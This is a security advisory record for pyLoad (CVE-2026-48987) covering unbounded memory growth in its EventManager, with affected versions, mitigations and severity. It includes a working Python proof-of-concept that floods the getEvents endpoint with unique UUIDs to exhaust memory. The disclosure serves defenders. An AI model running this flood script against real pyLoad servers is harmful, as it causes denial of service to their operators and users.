{"id":"PYSEC-2026-2992","summary":"pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager","details":"## Description:\nThe `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.\n\n## Vulnerable Code:\nhttps://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17\n\n\u003e Here the client is added to the `clients` list but never cleared the inactive clients.\n\n## Exploitation:\n1.  **Start pyLoad server** (Ensure the `pyload` server is running)\n2.  **Authenticate**: Obtain a session cookie or an API key (Here i used the API key).\n3.  **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`.\n```python\nimport requests\nimport uuid\nimport time\n\n# Configuration\nURL = \"http://localhost:8000/api/getEvents\"\nNUM_REQUESTS = 100000\n\nheaders = {\n\t\"X-API-Key\" : \"\u003cYOUR_APIKEY\u003e\"\n}\n\nprint(f\"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...\")\n\nfor i in range(NUM_REQUESTS):\n   # Generating a new UUID\n    uid = str(uuid.uuid4())\n    try:\n        # Sending request\n        requests.get(URL, params={\"uuid\": uid}, headers=headers, timeout=5)\n        if i % 1000 == 0:\n            print(f\"Sent {i} requests...\")\n    except requests.exceptions.RequestException as e:\n        print(f\"Error at request {i}: {e}\")\n        break\n\nprint(\"Attack complete. Check memory usage.\")\n\n```\n5.  **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands).\n```bash\nPID=$(pgrep -f \"pyload\"); while true; do ps -o rss= -p $PID; sleep 1; done\n```\n\n6.  **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.\n\nhttps://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686\n\n## Impact:\n- Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.\n\n## Mitigations:\n- **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones.\n- **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.","aliases":["CVE-2026-48987","GHSA-c2f9-4mc8-j656"],"modified":"2026-07-13T16:32:35.377904408Z","published":"2026-07-13T15:46:29.982699Z","references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-c2f9-4mc8-j656"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"PACKAGE","url":"https://pypi.org/project/pyload-ng"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-c2f9-4mc8-j656"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48987"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev100"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev100","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-2992.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}